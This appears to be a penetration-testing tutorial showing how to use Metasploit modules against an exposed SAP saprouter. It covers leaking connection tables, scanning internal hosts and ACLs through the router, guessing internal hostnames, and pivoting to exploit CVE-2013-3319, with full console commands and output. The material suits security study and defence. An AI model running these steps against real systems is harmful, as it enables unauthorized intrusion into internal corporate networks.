Saprouter is basically a reverse proxy for SAP systems, typically sitting between the Internet and internal SAP systems. Its main purpose is to allow controlled access from hosts on the Internet to the internal SAP systems, since it allows for a finer grained control of SAP protocols than a typical firewall.

This means that saprouter usualy ends up being exposed to the Internet, by allowing the inbound TCP port 3299 to the saprouter host on the organization's firewalls. And from the saprouter, at least it should be possible to reach an internal SAP server. This makes it a very interesting target, since it can provide a way into the “high value” network.

The following figure shows a basic network setup, which we will use for the examples:

First we'll start by performing a SAP service scan of the exposed IP address, using the sap_service_discovery module, in this case, 1.2.3.101.

msf> use auxiliary/scanner/sap/sap_service_discovery msf auxiliary(sap_service_discovery) > set RHOSTS 1.2.3.101 RHOSTS => 1.2.3.101 msf auxiliary(sap_service_discovery) > run [*] [SAP] Beginning service Discovery '1.2.3.101' [+] 1.2.3.101:3299 - SAP Router OPEN [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

The scan shows us that the host is running a SAP router on the expected port TCP 3299. We can now dig deeper, and attempt to obtain some information from the saprouter. If it has been misconfigured, and often they are, it may be possible to obtain internal information, such as connections established through the saprouter to internal hosts. For this purpose we use the sap_router_info_request module:

msf auxiliary(sap_router_info_request) > use auxiliary/scanner/sap/sap_router_info_request msf auxiliary(sap_router_info_request) > set RHOSTS 1.2.3.101 RHOSTS => 1.2.3.101 msf auxiliary(sap_router_info_request) > run [+] 1.2.3.101:3299 - Connected to saprouter [+] 1.2.3.101:3299 - Sending ROUTER_ADM packet info request [+] 1.2.3.101:3299 - Got INFO response [+] Working directory : /opt/sap [+] Routtab : ./saprouttab [SAP] SAProuter Connection Table for 1.2.3.101 =================================================== Source Destination Service ------ ----------- ------- 1.2.3.12 192.168.1.18 3200 [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

So, from the output we see that someone on the Internet (1.2.3.12) is connected to an internal host (192.168.1.18) on port 3200. Port 3200 is a common SAP port for the DIAG protocol (that's where the SAP GUI application connects to SAP servers). We also obtain information about the internal IP addressing scheme, they're quite surely using at least the 192.168.1.0/24 network, or some subnet in that network.

Enumerating internal hosts and services

With this information, we are now able to start scanning the internal network. Since saprouter works like a proxy, we will attempt to connect to it and request connections to internal hosts and ports, and see the replies from saprouter. This may gives more insight into the internal hosts, services and ACLs, depending on the configuration of the saprouter. We'll be using the sap_router_portscanner module for this purpose.

The module connects to the saprouter and requests connections to other hosts (defined in the TARGETS option) in specific TCP ports. It then analyses the replies, and understands whether the requested connection is possible or not. This module provides a few options that can used:

Basic options: Name Current Setting Required Description ---- --------------- -------- ----------- CONCURRENCY 10 yes The number of concurrent ports to check per host INSTANCES 00-99 no SAP instance numbers to scan (NN in PORTS definition) MODE SAP_PROTO yes Connection Mode: SAP_PROTO or TCP (accepted: SAP_PROTO, TCP) PORTS 32NN yes Ports to scan (e.g. 3200-3299,5NN13) RESOLVE local yes Where to resolve TARGETS (accepted: remote, local) RHOST yes SAPRouter address RPORT 3299 yes SAPRouter TCP port TARGETS yes Comma delimited targets. When resolution is local address ranges or CIDR identifiers allowed.

At the very least you'll have to set the saprouter's IP address, in the example case, 1.2.3.101. Then, set TARGETS to the internal network addresses you'd like to scan, and finally set PORTS with the TCP ports to scan.

The module provides also an INSTANCES option that allows simplifying the definition of the PORTS option. SAP installations support multiple instances, providing similar services, so each instance has assigned TCP ports. For example, SAP instance 00 will have the SAP dispatcher service (where SAP GUI connects to) on port 3200 and instance 01 on port 3201. The PORTS option supports a “wildcard” which is “NN” that will be replaced with the instance number, hence scanning ports for all the defined instances. So, if we want to scan instances from 00 to 50, we can define the INSTANCES and PORTS variables this way:

msf auxiliary(sap_router_portscanner) > set INSTANCES 00-50 INSTANCES => 00-01 msf auxiliary(sap_router_portscanner) > set PORTS 32NN PORTS => 32NN

With this setting the module will scan ports in range 3200 to 3250.

In the source of the module you have information regarding the common default ports on SAP systems, which we will now be using for scanning:

msf > use auxiliary/scanner/sap/sap_router_portscanner msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_router_portscanner msf auxiliary(sap_router_portscanner) > set RHOST 1.2.3.101 RHOST => 1.2.3.101 msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.18 TARGETS => 192.168.1.18 msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01 INSTANCES => 00-01 msf auxiliary(sap_router_portscanner) > set PORTS 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN PORTS => 32NN,33NN,48NN,80NN,36NN,81NN,5NN00-5NN19,21212,21213,59975,59976,4238-4241,3299,3298,515,7200,7210,7269,7270,7575,39NN,3909,4NN00,8200,8210,8220,8230,4363,4444,4445,9999,3NN01-3NN08,3NN11,3NN17,20003-20007,31596,31597,31602,31601,31604,2000-2002,8355,8357,8351-8353,8366,1090,1095,20201,1099,1089,443NN,444NN msf auxiliary(sap_router_portscanner) > run [*] Scanning 192.168.1.18 [!] Warning: Service info could be inaccurate Portscan Results ================ Host Port State Info ---- ---- ----- ---- 192.168.1.18 3201 closed SAP Dispatcher sapdp01 192.168.1.18 3200 open SAP Dispatcher sapdp00 192.168.1.18 50013 open SAP StartService [SOAP] sapctrl00 [*] Auxiliary module execution completed

We can try to understand why some connections are not allowed through the saprouter by using the VERBOSE option. When VERBOSE is set to true we are able to see the response from the saprouter, and map the defined ACL.

We will now scan the 192.168.1.18 and the 192.168.1.1 hosts, but only on port 3200, to see if we can connect to both SAP dispatchers:

msf auxiliary(sap_router_portscanner) > set VERBOSE true VERBOSE => true msf auxiliary(sap_router_portscanner) > set TARGETS 192.168.1.1,192.168.1.18 TARGETS => 192.168.1.1,192.168.1.18 msf auxiliary(sap_router_portscanner) > set PORTS 32NN PORTS => 32NN msf auxiliary(sap_router_portscanner) > run [*] Scanning 192.168.1.18 [+] 192.168.1.18:3200 - TCP OPEN [!] Warning: Service info could be inaccurate Portscan Results ================ Host Port State Info ---- ---- ----- ---- 192.168.1.18 3200 open SAP Dispatcher sapdp00 [*] Scanning 192.168.1.1 [-] 192.168.1.1:3200 - blocked by ACL [!] Warning: Service info could be inaccurate [*] Auxiliary module execution completed

As you can see, we now also know that we cannot connect to other host on port 3200, since it is blocked by the ACL defined on the saprouter.

Mapping the ACLs

An interesting thing about the saprouter, is that it supports two types of connections:

Native – These connections are simply TCP connections;

SAP protocol – These are TCP connections with a twist, the protocol states that all messages are started with 4 bytes stating the length of the following content.

The SAP protocol is specific to saprouter, and is what the SAP GUI uses to connect to the SAP DIAG port through the saprouter. The native protocol is used for allowing other types of connections to pass through saprouter.

This module allows for specifying which type of connection to test during the scan in the MODE option. The default is the SAP protocol, which is the most probable to be used in production. However, it is not uncommon to find other services allowed through the saprouter, where the ACL will allow native (TCP) connections through.

We can set the MODE to TCP in order to assess whether this type of connections are allowed. We will now scan the internal hosts, both on port 3200 (SAP DIAG) and 80 (HTTP), with VERBOSE set to true, on both instances 00 and 01 and see what happens:

msf auxiliary(sap_router_portscanner) > set MODE TCP MODE => TCP msf auxiliary(sap_router_portscanner) > set PORTS 80,32NN PORTS => 80,32NN msf auxiliary(sap_router_portscanner) > set INSTANCES 00-01 INSTANCES => 00-01 msf auxiliary(sap_router_portscanner) > run [*] Scanning 192.168.1.18 [+] 192.168.1.18:80 - TCP OPEN [-] 192.168.1.18:3200 - blocked by ACL [+] 192.168.1.18:3201 - TCP OPEN [!] Warning: Service info could be inaccurate Portscan Results ================ Host Port State Info ---- ---- ----- ---- 192.168.1.18 80 open 192.168.1.18 3201 open SAP Dispatcher sapdp01 [*] Scanning 192.168.1.1 [-] 192.168.1.1:3200 - blocked by ACL [+] 192.168.1.1:3201 - TCP OPEN [+] 192.168.1.1:80 - TCP OPEN [!] Warning: Service info could be inaccurate Portscan Results ================ Host Port State Info ---- ---- ----- ---- 192.168.1.1 3201 open SAP Dispatcher sapdp01 192.168.1.1 80 open [*] Auxiliary module execution completed

From the output and the previous information we now know that the ACL is something like this:

Allow TCP connections from any host to 192.168.1.1 to port 80

Allow TCP connections from any host to 192.168.1.18 to port 80

Allow TCP connections from any host to 192.168.1.1 to port 3201

Allow TCP connections from any host to 192.168.1.18 to port 3201

Allow SAP connections from any host to 192.168.1.18 to port 3200

Blind enumeration of internal hosts

If you recall, we started by obtaining information from the saprouter which allowed us to know the IP address on an internal host, and we went on from there. But what if the saprouter doesn't provide us with that information?

One option is to just start scanning private address spaces, and see what happens. The other is to blindly enumerate hosts by hostname.

Saprouters are able to resolve hostnames we request it to connect to. Saprouter is also kind enough to let us know what are the errors when it fails to connect (you can actually see the raw responses by uncommenting line 242 on the module source).

With this feature we are able to enumerate internal hosts by hostname, and try to go directly for the gold!

For this, we need to set the RESOLVE option to “remote”. In this case, the module will request connection to the TARGETS defined, without resolving them locally, and we can try to guess the internal hosts, and eventually connect to them without ever knowing their IP addresses.

Important things to remember when blindly enumerating hosts:

Set VERBOSE to true;

We'll get more information from saprouter if MODE is set to SAP_PROTO;

It is enough to set only one port to scan, since we're only interested at this point in the information sent by the saprouter (try 3200);

Results will vary depending on the configured ACL. Unfortunately blocked connections won't give us much info.

In this example we'll try the hostnames sap, sapsrv and sapsrv2.

msf auxiliary(sap_router_portscanner) > set RESOLVE remote RESOLVE => remote msf auxiliary(sap_router_portscanner) > set MODE SAP_PROTO MODE => SAP_PROTO msf auxiliary(sap_router_portscanner) > set VERBOSE true VERBOSE => true msf auxiliary(sap_router_portscanner) > set TARGETS sap,sapsrv,sapsrv2 TARGETS => sap,sapsrv,sapsrv2 msf auxiliary(sap_router_portscanner) > set PORTS 3200 PORTS => 3200 msf auxiliary(sap_router_portscanner) > run [*] Scanning sap [-] sap:3200 - unknown host [!] Warning: Service info could be inaccurate [*] Scanning sapsrv [-] sapsrv:3200 - host unreachable [!] Warning: Service info could be inaccurate [*] Scanning sapsrv2 [+] sapsrv2:3200 - TCP OPEN [!] Warning: Service info could be inaccurate Portscan Results ================ Host Port State Info ---- ---- ----- ---- sapsrv2 3200 open SAP Dispatcher sapdp00 [*] Auxiliary module execution completed

From the output we see that the host “sap” does not exist, but that host sapsrv does, although it is unreachable, and sapsrv2 exists and we can connect to port 3200.

This technique can also be used to try to find other hosts on the network, not SAP related, just try using common hostnames, like smtp, exchange, pdc, bdc, fileshare, intranet, or what other nice hostnames you might have on your bag of tricks

The last mile

Now that we have obtained all this information, we know the internal hosts available, what services are allowed, and what protocols we can use to pierce the saprouter, we can actually connect to internal servers, and proceed with our pentest.

Metasploit provides us with an awesome way to saprouter as a proxy, using the Proxies option, thanks to Dave Hartley (@nmonkee).

So at this point, we want to start gathering information on the internal sap server we have discovered in host 192.168.1.18. As an example, we'll be using the module sap_hostctrl_getcomputersystem which exploits CVE-2013-3319 and give us details on the OS the server is running on by querying the SAP Host Control service on port 1128 via an unauthenticated SOAP request. We'll be pivoting through the saprouter, using the proxy support in metasploit:

msf auxiliary(sap_router_portscanner) > use auxiliary/scanner/sap/sap_hostctrl_getcomputersystem msf auxiliary(sap_hostctrl_getcomputersystem) > set Proxies sapni:1.2.3.101:3299 Proxies => sapni:1.2.3.101:3299 msf auxiliary(sap_hostctrl_getcomputersystem) > set RHOSTS 192.168.1.18 RHOSTS => 192.168.1.18 msf auxiliary(sap_hostctrl_getcomputersystem) > run [+] 192.168.1.18:1128 - Information retrieved successfully [*] 192.168.1.18:1128 - Response stored in /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_386124.xml (XML) and /Users/msfusr/.msf4/loot/20140107180827_default_192.168.1.18_sap.getcomputers_186948.txt (TXT) [*] Scanned 1 of 1 hosts (100% complete) [*] Auxiliary module execution completed

If all went well, you'll have a nice output of the module in the loot containing interesting internal information from the target SAP host (such as internal usernames you can then try to brute force ).

Pivoting can (and should!) be used to run other modules against internal hosts, not only SAP systems!

Conclusion

We've seen how it is possible to exploit weak saprouter configurations that can allow access to internal hosts all the way from the Internet, all this using only metasploit's support for pentesting SAP systems.

I hope this article can help shed light on both the risks associated with saprouter deployments, as well as SAP security in general.

References